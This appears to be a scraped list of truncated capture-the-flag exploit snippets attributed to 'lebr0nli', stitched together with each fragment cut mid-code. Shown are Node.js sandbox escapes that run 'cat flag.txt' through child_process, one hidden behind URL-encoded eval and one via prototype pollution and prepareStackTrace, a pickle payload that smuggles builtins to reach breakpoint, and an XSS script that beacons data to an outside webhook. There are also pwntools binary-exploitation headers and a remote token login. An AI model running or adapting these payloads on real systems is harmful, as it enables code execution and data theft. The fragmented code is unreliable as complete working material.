lebr0nli

from pwn import *

JS = """
import('child_process').then(r=>console.log(r.execSync('cat flag.txt')+''))
"""

JS = "eval(decodeURIComponent('%s'))" % "".join(f"%{ord(c):02x}" for c in JS)

CODE = (
    """

lebr0nli

#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T

binary = ELF("./snowstorm_patched")
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.39.so")

lebr0nli

import pickle

smuggled = \
pickle.GLOBAL + b"sandbox\ny\n" + \
pickle.GLOBAL + b"sandbox\n__builtins__\n" + \
pickle.BUILD + \
pickle.GLOBAL + b"sandbox\nbreakpoint\n" + \
pickle.EMPTY_TUPLE + \
pickle.REDUCE

lebr0nli

#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T

binary = ELF("./format-muscle")
# libc = ELF("./libc.so.6")
ld = ELF("./ld-musl-x86_64.so.1")

lebr0nli

import httpx
import base64

payload = """
const targetUrl = "https://wwwwwwwwaas.web.actf.co";
const logUrl = "https://<your webhook>";

function log(msg) {
    navigator.sendBeacon(logUrl + '/log?f=' + msg);
}

lebr0nli

import httpx
import time

CHALL_URL = "https://ch1688140851.ch.eng.run"


def share() -> None:
    with httpx.Client(base_url=CHALL_URL) as client:
        try:
            r = client.post("/share", json={"id": "x"}, timeout=1)

lebr0nli

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>

lebr0nli

import base64
import dis
import marshal
import subprocess

from opcode import opmap


def f(): pass

lebr0nli

let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {

lebr0nli

from pwn import *
import secrets

TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e"
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split()


with remote(HOST, PORT) as io:
    io.sendline(TOKEN)
    token = secrets.token_hex(16)